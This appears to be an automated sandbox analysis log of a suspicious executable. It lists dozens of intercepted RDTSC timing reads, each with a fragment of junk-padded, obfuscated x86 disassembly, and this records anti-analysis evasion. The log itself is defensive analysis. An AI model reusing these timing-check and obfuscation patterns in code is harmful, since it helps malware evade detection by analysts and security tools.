Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE1E second address: D1DE34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE34 second address: D1DE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F6A88D62F26h 0x0000000d jmp 00007F6A88D62F2Bh 0x00000012 jng 00007F6A88D62F26h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE54 second address: D1DE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE59 second address: D1DE62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28396 second address: D2839A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2839A second address: D283A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D284F8 second address: D284FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29D76 second address: D29D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jbe 00007F6A88D62F32h 0x0000000d jl 00007F6A88D62F2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29D8B second address: D29D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29E82 second address: D29EE0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6A88D62F30h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov si, 9B62h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F6A88D62F28h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov edi, 5CE74A12h 0x00000030 call 00007F6A88D62F29h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 jmp 00007F6A88D62F2Fh 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29EE0 second address: D29EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29EE5 second address: D29EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29EEC second address: D29F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 jmp 00007F6A8934DF9Fh 0x0000000e pop esi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F0E second address: D29F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F12 second address: D29F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29F1C second address: D29FAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F6A88D62F2Ch 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007F6A88D62F30h 0x00000017 pop eax 0x00000018 adc edx, 2D1618F0h 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F6A88D62F28h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D2C19h], edx 0x00000042 push 00000003h 0x00000044 call 00007F6A88D62F39h 0x00000049 mov edx, dword ptr [ebp+122D3351h] 0x0000004f pop edi 0x00000050 xor dword ptr [ebp+122D1CF5h], edi 0x00000056 call 00007F6A88D62F29h 0x0000005b push ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29FAD second address: D29FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jmp 00007F6A8934DFA5h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jg 00007F6A8934DF98h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D29FDA second address: D29FEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F6A88D62F26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A07C second address: D2A086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6A8934DF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A1DE second address: D2A276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F6A88D62F28h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push esi 0x00000028 mov dl, bh 0x0000002a pop esi 0x0000002b mov ecx, 1F1D4BBFh 0x00000030 push 00000000h 0x00000032 and cx, 8A7Ch 0x00000037 call 00007F6A88D62F29h 0x0000003c jo 00007F6A88D62F32h 0x00000042 jnl 00007F6A88D62F2Ch 0x00000048 push eax 0x00000049 jmp 00007F6A88D62F2Dh 0x0000004e mov eax, dword ptr [esp+04h] 0x00000052 jne 00007F6A88D62F44h 0x00000058 mov eax, dword ptr [eax] 0x0000005a push eax 0x0000005b push edx 0x0000005c jbe 00007F6A88D62F2Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A276 second address: D2A27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A34F second address: D2A353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A353 second address: D2A359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48D3C second address: D48D4C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6A88D62F32h 0x00000008 jg 00007F6A88D62F26h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49138 second address: D4913C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4913C second address: D4916D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6A88D62F2Dh 0x00000008 jmp 00007F6A88D62F2Ch 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6A88D62F32h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D496E2 second address: D496FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6A8934DFA4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D496FC second address: D49700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49700 second address: D4970B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49A0C second address: D49A2C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6A88D62F36h 0x00000008 jmp 00007F6A88D62F30h 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F6A88D62F26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49A2C second address: D49A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Dh 0x00000007 jmp 00007F6A8934DF9Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F6A8934DF9Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49D4F second address: D49D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49D55 second address: D49D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49D59 second address: D49D7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jo 00007F6A88D62F26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49D7D second address: D49D9E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6A8934DF96h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F6A8934DFA9h 0x00000012 jmp 00007F6A8934DF9Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49D9E second address: D49DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6A88D62F2Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E84E second address: D3E859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6A8934DF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E859 second address: D3E86A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A88D62F2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3E86A second address: D3E870 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A8B6 second address: D4A8E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6A88D62F33h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A8E5 second address: D4A8F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AB9F second address: D4ABB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F6A88D62F2Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2A1 second address: D4D2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2A5 second address: D4D2B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push ecx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E83D second address: D4E841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F9EE second address: D4FA11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6A88D62F38h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FA11 second address: D4FA61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jne 00007F6A8934DFA8h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jne 00007F6A8934DF9Eh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push edi 0x0000002a pop edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FA61 second address: D4FA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51E83 second address: D51EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007F6A8934DFA8h 0x0000000e pop edi 0x0000000f push edi 0x00000010 push ebx 0x00000011 jmp 00007F6A8934DFA5h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51EC1 second address: D51EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C337 second address: D1C33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C33B second address: D1C354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6A88D62F33h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57609 second address: D57614 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D00 second address: D56D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jmp 00007F6A88D62F34h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 js 00007F6A88D62F26h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D29 second address: D56D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6A8934DF96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56D34 second address: D56D55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F35h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F6A88D62F26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56EAC second address: D56EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56EB2 second address: D56EBB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D572F5 second address: D572F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D572F9 second address: D572FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D572FD second address: D57305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57305 second address: D5730B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5730B second address: D5730F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574AC second address: D574B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574B2 second address: D574BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574BC second address: D574C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F6A88D62F26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D594C0 second address: D594C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D594C4 second address: D594CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59777 second address: D5977B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59822 second address: D59826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59826 second address: D5982C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5982C second address: D59832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59832 second address: D59836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59EA0 second address: D59EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AA2B second address: D5AA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AA31 second address: D5AA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AA36 second address: D5AA3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AA3C second address: D5AA40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5AA40 second address: D5AA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F6A8934DFA1h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B421 second address: D5B427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE65 second address: D5BE69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B427 second address: D5B42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D218 second address: D5D21C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B42C second address: D5B431 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D21C second address: D5D222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DDAA second address: D5DDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E92B second address: D5E944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6A8934DFA0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FDA4 second address: D5FDA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61A8E second address: D61AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6A8934DFA3h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61AAA second address: D61ABD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F6A88D62F26h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FA9B second address: D5FAA5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FAA5 second address: D5FAC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
